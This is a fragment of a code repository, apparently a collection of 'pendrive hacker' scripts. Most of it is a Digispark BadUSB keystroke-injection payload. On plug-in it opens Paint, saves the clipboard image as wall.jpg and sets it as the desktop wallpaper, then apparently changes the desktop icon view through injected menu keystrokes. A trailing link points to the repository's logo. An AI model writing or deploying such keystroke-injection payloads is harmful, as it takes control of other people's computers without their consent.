DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("mspaint"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(800); 17 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT); 20 | DigiKeyboard.delay(600); 21 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg"); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(600); 24 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.sendKeyStroke(KEY_K); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_F); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_X); 33 | DigiKeyboard.delay(600); 34 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 35 | DigiKeyboard.delay(500); 36 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_V); 39 | DigiKeyboard.delay(200); 40 | DigiKeyboard.sendKeyStroke(81); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(81); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(81); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(81); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(81); 49 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 50 | 51 | for(;;){ /*empty*/ } 52 | } 53 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Al0nnso/PendriveHacker-Scripts/b335a067ce14c5141216b99c85e8f0f407e85629/logo.png --------------------------------------------------------------------------------